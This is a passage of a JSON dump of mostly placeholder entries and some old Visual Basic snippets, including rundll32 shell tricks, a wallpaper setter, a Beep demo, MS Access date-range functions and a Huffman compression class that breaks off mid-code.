Function"},{"WorldId":1,"id":12573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13305,"LineNumber":1,"line":"Private Sub Command1_Click()\nShell \"rundll32.exe url.dll,FileProtocolHandler _ File Path Name\""},{"WorldId":1,"id":13581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22459,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33545,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15142,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32831,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13929,"LineNumber":1,"line":"Option Explicit\n'This code is developed by Ivan Uzunov \n'e-mail: kicheto@goatrance.com\n'Just add this code on a form add a Command1 and press F5 \nPrivate Declare Function SystemParametersInfo Lib \"user32\" Alias \"SystemParametersInfoA\" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long\nPrivate Const SPI_SETDESKWALLPAPER = 20\nPrivate Sub Command1_Click()\nDim WallPaper As Long\n 'Just change \"C:\\REDCAP.bmp\" with a existing bitmap on your computer\n WallPaper = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, \"C:\\REDCAP.bmp\", 0)\nEnd Sub\n"},{"WorldId":1,"id":13501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12744,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14556,"LineNumber":1,"line":"'To use the following functions simply write:\n'shell \"RUNDLL32.EXE _________\"\n'For example, \nShell \"RUNDLL32.EXE user,setcursorpos\" '(sets the \n'mouse pointer to the upper left corner of the \n'screen)\n\n'\n'---OTHER FUNCTIONS---\n'\n'-- Shut down Windows\n'RUNDLL32.EXE KRNL386.EXE,exitkernel \n'-- Sort open windows on desktop\n'RUNDLL32.EXE user,tilechildwindows\n'RUNDLL32.EXE user,cascadechildwindows \n'-- Open Hardware manager\n'RUNDLL32.EXE sysdm.cpl,installDevice_Rundll \n'-- swap mousebuttons\n'RUNDLL32.EXE user,swapmousebutton \n'-- Disable Keyboard\n'RUNDLL32.EXE keyboard,disable \n'-- Disable Mouse\n'RUNDLL32.EXE mouse,disable \n'-- Opens the Network connect window\n'RUNDLL32.EXE user,wnetconnectdialog \n'-- Set mouse pointer to the upper left corner\n'RUNDLL32.EXE user,setcursorpos \n'-- Open a Explorer window\n'RUNDLL32.EXE shell,shellexecute \n'-- Reboot Windows 98\n'RUNDLL32.EXE shell32SHExitWindowsEx 0 \n'-- Shut down Windows 98\n'RUNDLL32.EXE shell32SHExitWindowsEx 1 \n'-- Reboot PC\n'RUNDLL32.EXE shell32SHExitWindowsEx 2 \n'-- Restart Windows Explorer ( Desktop)\n'RUNDLL32.EXE shell32SHExitWindowsEx -1 \n"},{"WorldId":1,"id":14089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12720,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24675,"LineNumber":1,"line":"Option Explicit\n' An example of the Beep API call, which IMHO is possibly the most useless to most.\n' Nonetheless, I wanted this functionality for a client who needed audible feedback\n' on some very old equipment (no sound cards). After searching MSDN, I found\n' no extended information on the parameters, dwFreq and dwDuration. What value\n' range produces audible sounds? Although I still don't have that answer, I've found\n' you can pretty much hear everything in the dwFreq range from 50 to 6000, 6000\n'being the higher frequency. Setting dwDuration from 10 to 100 seems to give the\n' length of a short 'beep' that isn't too annoying.\n'\n' Feel free to use, modify, or trash this code as you see fit.\nPrivate rc as Long\nPrivate PauseReq As Boolean\nPrivate mvarFreq As Long\nPrivate mvarDur As Long\nPrivate cFreq As Long\nPrivate Declare Function Beep Lib \"kernel32\" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long\nPrivate Sub cmdPlay_Click()\n cmdPlay.Caption = IIf(cmdPlay.Caption = \"Play\", \"Stop\", \"Play\")\n If cmdPlay.Caption = \"Play\" Then\n PauseReq = True\n Timer1.Enabled = False\n Else\n PauseReq = False\n Timer1.Enabled = True\n End If\nEnd Sub\nPrivate Sub cmdExit_Click()\n PauseReq = True\n Unload Me\nEnd Sub\nPrivate Sub cmdCycle_Click()\n cmdCycle.Caption = IIf(cmdCycle.Caption = \"Cycle\", \"Stop\", \"Cycle\")\n If cmdCycle.Caption = \"Stop\" Then\n Timer1.Enabled = False\n cFreq = 50\n Else\n Timer1.Enabled = True\n End If\n Timer2.Enabled = Not Timer1.Enabled\nEnd Sub\nPrivate Sub Form_Load()\n PauseReq = False\n Timer1.Enabled = True\n Timer1.Interval = 1000\n Me.Move (Screen.Width - Me.Width) * 0.75, (Screen.Height - Me.Height) * 0.8\nEnd Sub\nPrivate Sub txtFreq_Change()\n If IsNumeric(txtFreq.Text) Then mvarFreq = CLng(txtFreq.Text)\nEnd Sub\nPrivate Sub txtDur_Change()\n If IsNumeric(txtDur.Text) Then mvarDur = CLng(txtDur.Text)\nEnd Sub\nPrivate Sub txtInterval_Change()\n If IsNumeric(txtInterval.Text) Then Timer1.Interval = (CLng(txtInterval.Text) * 1000)\nEnd Sub\nPrivate Sub Timer1_Timer()\n If PauseReq Then Exit Sub\n rc = Beep(mvarFreq, mvarDur)\nEnd Sub\nPrivate Sub Timer2_Timer()\n If Check1.Value = 0 Then\n txtFreq.Text = cFreq\n txtDur.Text = Timer2.Interval + 10\n rc = Beep(cFreq, Timer2.Interval + 10)\n cFreq = cFreq + 25\n If cFreq > 6000 Then cFreq = 50\n Else\n cFreq = Int(Rnd * 6000)\n txtFreq.Text = cFreq\n rc = Beep(cFreq, Timer2.Interval + 10)\n End If\nEnd Sub\n"},{"WorldId":1,"id":32392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12866,"LineNumber":1,"line":"Function EndDateCalc(Range As String, Prev_or_Current As String, Optional FDate As Date) As Date\nOn Error GoTo Errored\nGoTo Main\nErrored:\nCall Errored_Out(Err.Source, Err.Number, Err.Description, False)\nMain:\nIf FDate <= #1/1/1900# Then FDate = Now()\nOn Error Resume Next\nReselect:\nSelect Case Prev_or_Current\nCase \"P\"\n Select Case Range\n Case \"D\"\n EndDateCalc = DateValue(Format(FDate, \"mm/dd/yyyy\"))\n Case \"W\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\")), \"mm/dd/yyyy\"))\n Case \"Wm\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\")), \"mm/dd/yyyy\"))\n If Format(EndDateCalc, \"yyyymm\") > Format(FDate, \"yyyymm\") Then\n Range = \"M\"\n GoTo Reselect\n End If\n Case \"M\"\n Err.Clear\n EndDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/31/yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/30/yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/29/yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/28/yyyy\"))\n If Err.Number > 0 Then EndDateCalc = #1/1/90#\n End If\n End If\n End If\n \nEnd Select\nCase \"C\"\n Select Case Range\n Case \"D\"\n EndDateCalc = DateValue(Format(FDate, \"mm/dd/yyyy\"))\n Case \"W\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 7), \"mm/dd/yyyy\"))\n Case \"Wm\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 7), \"mm/dd/yyyy\"))\n If Format(EndDateCalc, \"yyyymm\") > Format(FDate, \"yyyymm\") Then\n Range = \"M\"\n GoTo Reselect\n End If\n Case \"M\"\n Err.Clear\n EndDateCalc = DateValue(Format(FDate, \"mm/31/yyyy\"))\n If Err.Number > 0 Then EndDateCalc = DateValue(Format(FDate, \"mm/30/yyyy\"))\n End Select\nCase \"N\"\n Select Case Range\n Case \"D\"\n EndDateCalc = DateValue(Format(FDate + 1, \"mm/dd/yyyy\"))\n Case \"W\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 7), \"mm/dd/yyyy\")) + 7\n Case \"Wm\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 7), \"mm/dd/yyyy\")) + 7\n If Format(EndDateCalc, \"yyyymm\") > Format(FDate, \"yyyymm\") Then\n Range = \"M\"\n GoTo Reselect\n End If\n Case \"M\"\n Err.Clear\n EndDateCalc = DateValue(Month(FDate) + 1 & \"/31/\" & Format(FDate, \"yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Month(FDate) + 1 & \"/30/\" & Format(FDate, \"yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Month(FDate) + 1 & \"/29/\" & Format(FDate, \"yyyy\"))\n If Err.Number > 0 Then EndDateCalc = DateValue(Month(FDate) + 1 & \"/28/\" & Format(FDate, \"yyyy\"))\n End If\n End If\n End Select\nEnd Select\nEnd Function\nFunction BeginDateCalc(Range As String, Prev_or_Current As String, Optional FDate As Date) As Date\n'Public Domain: This code may be used and distributed freely as long as header remains unchanged. _\n'The person(s) supplying this code can not be held liable for use, misuse or damage caused by the use of this code.\n'\n'Allows calculation of Begin or End dates based upon the RANGE (Week, Month, Year), the DATE to use as the source or comparison date and PREV or CURRENT range. Examples:\n'BeginDateCalc(\"W\",\"P\",#11/15/2000#) returns: 11/5/00 as the first day or the PREVIOUS WEEK is Sunday the 5th. You could easily modify the code to allow the last day of the week to be any day you wish.\n'BeginDateCalc(\"M\",\"P\",#11/15/2000#) = 10/1/00\n'BeginDateCalc(\"M\",\"C\",#11/15/2000#) = 11/1/00\n'BeginDateCalc(\"Wm\",\"C\",#11/15/2000#) = 11/1/00 ' Wm is used to tell us Week but Month limited. Notice the same with \"W\" instead of \"Wm\" would result in 10/29/00\n'\n' Written by Chad M. Kovac\n' CEO, Tech Knowledgey, Inc.\n' GlobalReplaceCode@TechKnowledgeyinc.com\n' http://www.TechKnowledgeyInc.com\n' 10/04/00 MS Access 97/2000\nOn Error GoTo Errored\nGoTo Main\nErrored:\nCall Errored_Out(Err.Source, Err.Number, Err.Description, False)\nMain:\nIf FDate <= #1/1/1900# Then FDate = Now()\nOn Error Resume Next\nSelect Case Prev_or_Current\nCase \"P\"\n Select Case Range\n Case \"D\"\n If Format(FDate, \"w\") = 2 Then\n BeginDateCalc = DateValue(Format(FDate - 3, \"mm/dd/yyyy\"))\n Else\n BeginDateCalc = DateValue(Format(FDate - 1, \"mm/dd/yyyy\"))\n End If\n Case \"W\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") + 6), \"mm/dd/yyyy\"))\n Case \"M\"\n BeginDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/01/yyyy\"))\n Case \"Wm\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") + 6), \"mm/dd/yyyy\"))\n If Format(BeginDateCalc, \"yyyymm\") < Format(FDate, \"yyyymm\") Then _\n BeginDateCalc = Format(FDate, \"mm/01/yyyy\")\n End Select\nCase \"C\"\n Select Case Range\n Case \"D\"\n BeginDateCalc = DateValue(Format(FDate, \"mm/dd/yyyy\"))\n Case \"W\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 1), \"mm/dd/yyyy\"))\n Case \"M\"\n BeginDateCalc = DateValue(Format(FDate, \"mm/01/yyyy\"))\n Case \"Wm\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 1), \"mm/dd/yyyy\"))\n If Format(BeginDateCalc, \"yyyymm\") < Format(FDate, \"yyyymm\") Then _\n BeginDateCalc = Format(FDate, \"mm/01/yyyy\")\n End Select\nCase \"N\"\n Select Case Range\n Case \"D\"\n BeginDateCalc = DateValue(Format(FDate + 1, \"mm/dd/yyyy\"))\n Case \"W\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 1), \"mm/dd/yyyy\")) + 7\n Case \"M\"\n BeginDateCalc = DateValue(Month(FDate) + 1 & \"/01/\" & Format(FDate, \"yyyy\"))\n Case \"Wm\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 1), \"mm/dd/yyyy\"))\n If Format(BeginDateCalc, \"yyyymm\") < Format(FDate, \"yyyymm\") Then _\n BeginDateCalc = Format(FDate, \"mm/01/yyyy\")\n End Select\nEnd Select\nEnd Function\n"},{"WorldId":1,"id":14802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32650,"LineNumber":1,"line":"'Huffman Encoding/Decoding Class\n'-------------------------------\n'\n'(c) 2000, Fredrik Qvarfort\n'\n'Modified for MS Access by Chad M. Kovac\n'http://www.TechKnowledgeyInc.com\n'03/13/2002\nOption Explicit\n'Progress Values for the encoding routine\nPrivate Const PROGRESS_CALCFREQUENCY = 7\nPrivate Const PROGRESS_CALCCRC = 5\nPrivate Const PROGRESS_ENCODING = 88\n'Progress Values for the decoding routine\nPrivate Const PROGRESS_DECODING = 89\nPrivate Const PROGRESS_CHECKCRC = 11\n'Events\n'Event Progress(Procent As Integer)\nPrivate Type HUFFMANTREE\n ParentNode As Integer\n RightNode As Integer\n LeftNode As Integer\n Value As Integer\n Weight As Long\nEnd Type\nPrivate Type ByteArray\n Count As Byte\n Data() As Byte\nEnd Type\nPrivate Declare Sub CopyMem Lib \"kernel32\" Alias \"RtlMoveMemory\" (Destination As Any, Source As Any, ByVal Length As Long)\nPublic Sub EncodeFile(SourceFile As String, DestFile As String)\n Dim ByteArray() As Byte\n Dim Filenr As Integer\n \n 'Make sure the source file exists\n If (Not FileExist(SourceFile)) Then\n Err.Raise vbObjectError, \"clsHuffman.EncodeFile()\", \"Source file does not exist\"\n End If\n \n 'Read the data from the sourcefile\n Filenr = FreeFile\n Open SourceFile For Binary As #Filenr\n ReDim ByteArray(0 To LOF(Filenr) - 1)\n Get #Filenr, , ByteArray()\n Close #Filenr\n \n 'Compress the data\n Call EncodeByte(ByteArray(), UBound(ByteArray) + 1)\n \n 'If the destination file exist we need to\n 'destroy it because opening it as binary\n 'will not clear the old data\n If (FileExist(DestFile)) Then Kill DestFile\n \n 'Save the destination string\n Open DestFile For Binary As #Filenr\n Put #Filenr, , ByteArray()\n Close #Filenr\nEnd Sub\nPublic Sub DecodeFile(SourceFile As String, DestFile As String)\n Dim ByteArray() As Byte\n Dim Filenr As Integer\n \n 'Make sure the source file exists\n If (Not FileExist(SourceFile)) Then\n Err.Raise vbObjectError, \"clsHuffman.DecodeFile()\", \"Source file does not exist\"\n End If\n \n 'Read the data from the sourcefile\n Filenr = FreeFile\n Open SourceFile For Binary As #Filenr\n ReDim ByteArray(0 To LOF(Filenr) - 1)\n Get #Filenr, , ByteArray()\n Close #Filenr\n \n 'Uncompress the data\n Call DecodeByte(ByteArray(), UBound(ByteArray) + 1)\n \n 'If the destination file exist we need to\n 'destroy it because opening it as binary\n 'will not clear the old data\n If (FileExist(DestFile)) Then Kill DestFile\n \n 'Save the destination string\n Open DestFile For Binary As #Filenr\n Put #Filenr, , ByteArray()\n Close #Filenr\nEnd Sub\nPrivate Sub CreateTree(Nodes() As HUFFMANTREE, NodesCount As Long, Char As Long, Bytes As ByteArray)\n Dim a As Integer\n Dim NodeIndex As Long\n \n NodeIndex = 0\n For a = 0 To (Bytes.Count - 1)\n If (Bytes.Data(a) = 0) Then\n 'Left node\n If (Nodes(NodeIndex).LeftNode = -1) Then\n Nodes(NodeIndex).LeftNode = NodesCount\n Nodes(NodesCount).ParentNode = NodeIndex\n Nodes(NodesCount).LeftNode = -1\n Nodes(NodesCount).RightNode = -1\n Nodes(NodesCount).Value = -1\n NodesCount = NodesCount + 1\n End If\n NodeIndex = Nodes(NodeIndex).LeftNode\n ElseIf (Bytes.Data(a) = 1) Then\n 'Right node\n If (Nodes(NodeIndex).RightNode = -1) Then\n Nodes(NodeIndex).RightNode = NodesCount\n Nodes(NodesCount).ParentNode = NodeIndex\n Nodes(NodesCount).LeftNode = -1\n Nodes(NodesCount).RightNode = -1\n Nodes(NodesCount).Value = -1\n NodesCount = NodesCount + 1\n End If\n NodeIndex = Nodes(NodeIndex).RightNode\n Else\n Stop\n End If\n Next\n \n Nodes(NodeIndex).Value = Char\nEnd Sub\nPublic Sub EncodeByte(ByteArray() As Byte, ByteLen As Long)\nApplication.SysCmd acSysCmdInitMeter, \"Encoding...\", 100\n Dim i As Long\n Dim j As Long\n Dim Char As Byte\n Dim BitPos As Byte\n Dim lNode1 As Long\n Dim lNode2 As Long\n Dim lNodes As Long\n Dim lLength As Long\n Dim Count As Integer\n Dim lWeight1 As Long\n Dim lWeight2 As Long\n Dim Result() As Byte\n Dim ByteValue As Byte\n Dim ResultLen As Long\n Dim Bytes As ByteArray\n Dim NodesCount As Integer\n Dim NewProgress As Integer\n Dim CurrProgress As Integer\n Dim BitValue(0 To 7) As Byte\n Dim CharCount(0 To 255) As Long\n Dim Nodes(0 To 511) As HUFFMANTREE\n Dim CharValue(0 To 255) As ByteArray\n \n 'If the source string is empty or contains\n 'only one character we return it uncompressed\n 'with the prefix string \"HEO\" & vbCr\n If (ByteLen = 0) Then\n ReDim Preserve ByteArray(0 To ByteLen + 3)\n If (ByteLen > 0) Then\n Call CopyMem(ByteArray(4), ByteArray(0), ByteLen)\n End If\n ByteArray(0) = 72 '\"H\"\n ByteArray(1) = 69 '\"E\"\n ByteArray(2) = 48 '\"0\"\n ByteArray(3) = 13 'vbCr\n Exit Sub\n End If\n \n 'Create the temporary result array and make\n 'space for identifier, checksum, textlen and\n 'the ASCII values inside the Huffman Tree\n ReDim Result(0 To 522)\n \n 'Prefix the destination string with the\n '\"HE3\" & vbCr identification string\n Result(0) = 72\n Result(1) = 69\n Result(2) = 51\n Result(3) = 13\n ResultLen = 4\n \n 'Count the frequency of each ASCII code\n For i = 0 To (ByteLen - 1)\n CharCount(ByteArray(i)) = CharCount(ByteArray(i)) + 1\n If (i Mod 1000 = 0) Then\n NewProgress = i / ByteLen * PROGRESS_CALCFREQUENCY\n If (NewProgress <> CurrProgress) Then\n CurrProgress = NewProgress\n Application.SysCmd acSysCmdUpdateMeter, CurrProgress\n End If\n End If\n Next\n \n 'Create a leaf for each character\n For i = 0 To 255\n If (CharCount(i) > 0) Then\n With Nodes(NodesCount)\n .Weight = CharCount(i)\n .Value = i\n .LeftNode = -1\n .RightNode = -1\n .ParentNode = -1\n End With\n NodesCount = NodesCount + 1\n End If\n Next\n \n 'Create the Huffman Tree\n For lNodes = NodesCount To 2 Step -1\n 'Get the two leafs with the smallest weights\n lNode1 = -1: lNode2 = -1\n For i = 0 To (NodesCount - 1)\n If (Nodes(i).ParentNode = -1) Then\n If (lNode1 = -1) Then\n lWeight1 = Nodes(i).Weight\n lNode1 = i\n ElseIf (lNode2 = -1) Then\n lWeight2 = Nodes(i).Weight\n lNode2 = i\n ElseIf (Nodes(i).Weight < lWeight1) Then\n If (Nodes(i).Weight < lWeight2) Then\n If (lWeight1 < lWeight2) Then\n lWeight2 = Nodes(i).Weight\n lNode2 = i\n Else\n lWeight1 = Nodes(i).Weight\n lNode1 = i\n End If\n Else\n lWeight1 = Nodes(i).Weight\n lNode1 = i\n End If\n ElseIf (Nodes(i).Weight < lWeight2) Then\n lWeight2 = Nodes(i).Weight\n lNode2 = i\n End If\n End If\n Next\n \n 'Create a new leaf\n With Nodes(NodesCount)\n .Weight = lWeight1 + lWeight2\n .LeftNode = lNode1\n .RightNode = lNode2\n .ParentNode = -1\n .Value = -1\n End With\n \n 'Set the parentnodes of the two leafs\n Nodes(lNode1).ParentNode = NodesCount\n Nodes(lNode2).ParentNode = NodesCount\n \n 'Increase the node counter\n NodesCount = NodesCount + 1\n Next\n 'Traverse the tree to get the bit sequence\n 'for each character, make temporary room in\n 'the data array to hold max theoretical size\n ReDim Bytes.Data(0 To 255)\n Call CreateBitSequences(Nodes(), NodesCount - 1, Bytes, CharValue)\n \n 'Calculate the length of the destination\n 'string after encoding\n For i = 0 To 255\n If (CharCount(i) > 0) Then\n lLength = lLength + CharValue(i).Count * CharCount(i)\n End If\n Next\n lLength = IIf(lLength Mod 8 = 0, lLength \\ 8, lLength \\ 8 + 1)\n \n 'If the destination is larger than the source\n 'string we leave it uncompressed and prefix\n 'it with a 4 byte header (\"HE0\" & vbCr)\n If ((lLength = 0) Or (lLength > ByteLen)) Then\n ReDim Preserve ByteArray(0 To ByteLen + 3)\n Call CopyMem(ByteArray(4), ByteArray(0), ByteLen)\n ByteArray(0) = 72\n ByteArray(1) = 69\n ByteArray(2) = 48\n ByteArray(3) = 13\n Exit Sub\n End If\n \n 'Add a simple checksum value to the result\n 'header for corruption identification\n Char = 0\n For i = 0 To (ByteLen - 1)\n Char = Char Xor ByteArray(i)\n If (i Mod 10000 = 0) Then\n NewProgress = i / ByteLen * PROGRESS_CALCCRC + PROGRESS_CALCFREQUENCY\n If (NewProgress <> CurrProgress) Then\n CurrProgress = NewProgress\n Application.SysCmd acSysCmdUpdateMeter, CurrProgress\n End If\n End If\n Next\n Result(ResultLen) = Char\n ResultLen = ResultLen + 1\n \n 'Add the length of the source string to the\n 'header for corruption identification\n Call CopyMem(Result(ResultLen), ByteLen, 4)\n ResultLen = ResultLen + 4\n \n 'Create a small array to hold the bit values,\n 'this is faster than calculating on-fly\n For i = 0 To 7\n BitValue(i) = 2 ^ i\n Next\n \n 'Store the number of characters used\n Count = 0\n For i = 0 To 255\n If (CharValue(i).Count > 0) Then\n Count = Count + 1\n End If\n Next\n Call CopyMem(Result(ResultLen), Count, 2)\n ResultLen = ResultLen + 2\n \n 'Store the used characters and the length\n 'of their respective bit sequences\n Count = 0\n For i = 0 To 255\n If (CharValue(i).Count > 0) Then\n Result(ResultLen) = i\n ResultLen = ResultLen + 1\n Result(ResultLen) = CharValue(i).Count\n ResultLen = ResultLen + 1\n Count = Count + 16 + CharValue(i).Count\n End If\n Next\n \n 'Make room for the Huffman Tree in the\n 'destination byte array\n ReDim Preserve Result(0 To ResultLen + Count \\ 8)\n \n 'Store the Huffman Tree into the result\n 'converting the bit sequences into bytes\n BitPos = 0\n ByteValue = 0\n For i = 0 To 255\n With CharValue(i)\n If (.Count > 0) Then\n For j = 0 To (.Count - 1)\n If (.Data(j)) Then ByteValue = ByteValue + BitValue(BitPos)\n BitPos = BitPos + 1\n If (BitPos = 8) Then\n Result(ResultLen) = ByteValue\n ResultLen = ResultLen + 1\n ByteValue = 0\n BitPos = 0\n End If\n Next\n End If\n End With\n Next\n If (BitPos > 0) Then\n Result(ResultLen) = ByteValue\n ResultLen = ResultLen + 1\n End If\n \n 'Resize the destination string to be able to\n 'contain the encoded string\n ReDim Preserve Result(0 To ResultLen - 1 + lLength)\n \n 'Now we can encode the data by exchanging each\n 'ASCII byte for its appropriate bit string.\n Char = 0\n BitPos = 0\n For i = 0 To (ByteLen - 1)\n With CharValue(ByteArray(i))\n For j = 0 To (.Count - 1)\n If (.Data(j) = 1) Then Char = Char + BitValue(BitPos)\n BitPos = BitPos + 1\n If (BitPos = 8) Then\n Result(ResultLen) = Char\n ResultLen = ResultLen + 1\n BitPos = 0\n Char = 0\n End If\n Next\n End With\n If (i Mod 10000 = 0) Then\n NewProgress = i / ByteLen * PROGRESS_ENCODING + PROGRESS_CALCCRC + PROGRESS_CALCFREQUENCY\n If (NewProgress <> CurrProgress) Then\n CurrProgress = NewProgress\n Application.SysCmd acSysCmdUpdateMeter, CurrProgress\n End If\n End If\n Next\n 'Add the last byte\n If (BitPos > 0) Then\n Result(ResultLen) = Char\n ResultLen = ResultLen + 1\n End If\n \n 'Return the destination in string format\n ReDim ByteArray(0 To ResultLen - 1)\n Call CopyMem(ByteArray(0), Result(0), ResultLen)\n 'Make sure we get a \"100%\" progress message\n If (CurrProgress <> 100) Then\n Application.SysCmd acSysCmdUpdateMeter, 100\n End If\nApplication.SysCmd acSysCmdClearStatus\nEnd Sub\nPublic Function DecodeString(Text As String) As String\n \n Dim ByteArray() As Byte\n \n 'Convert the string to a byte array\n ByteArray() = StrConv(Text, vbFromUnicode)\n \n 'Compress the byte array\n Call DecodeByte(ByteArray, Len(Text))\n \n 'Convert the compressed byte array to a string\n DecodeString = StrConv(ByteArray(), vbUnicode)\n \nEnd Function\nPublic Function EncodeString(Text As String) As String\n \n Dim ByteArray() As Byte\n \n 'Convert the string to a byte array\n ByteArray() = StrConv(Text, vbFromUnicode)\n \n 'Compress the byte array\n Call EncodeByte(ByteArray, Len(Text))\n \n 'Convert the compressed byte array to a string\n EncodeString = StrConv(ByteArray(), vbUnicode)\n \nEnd Function\nPublic Sub DecodeByte(ByteArray() As Byte, ByteLen As Long)\nApplication.SysCmd acSysCmdInitMeter, \"Decoding...\", 100\n Dim i As Long\n Dim j As Long\n Dim Pos As Long\n Dim Char As Byte\n Dim CurrPos As Long\n Dim Count As Integer\n Dim CheckSum As Byte\n Dim Result() As Byte\n Dim BitPos As Integer\n Dim NodeIndex As Long\n Dim ByteValue As Byte\n Dim ResultLen As Long\n Dim NodesCount As Long\n Dim lResultLen As Long\n Dim NewProgress As Integer\n Dim CurrProgress As Integer\n Dim BitValue(0 To 7) As Byte\n Dim Nodes(0 To 511) As HUFFMANTREE\n Dim CharValue(0 To 255) As ByteArray\n \n If (ByteArray(0) <> 72) Or (ByteArray(1) <> 69) Or (ByteArray(3) <> 13) Then\n 'The source did not contain the identification\n 'string \"HE?\" & vbCr where ? is undefined at\n 'the moment (does not matter)\n ElseIf (ByteArray(2) = 48) Then\n 'The text is uncompressed, return the substring\n 'Decode = Mid$(Text, 5)\n Call CopyMem(ByteArray(0), ByteArray(4), ByteLen - 4)\n ReDim Preserve ByteArray(0 To ByteLen - 5)\n Exit Sub\n ElseIf (ByteArray(2) <> 51) Then\n 'This is not a Huffman encoded string\n Err.Raise vbObjectError, 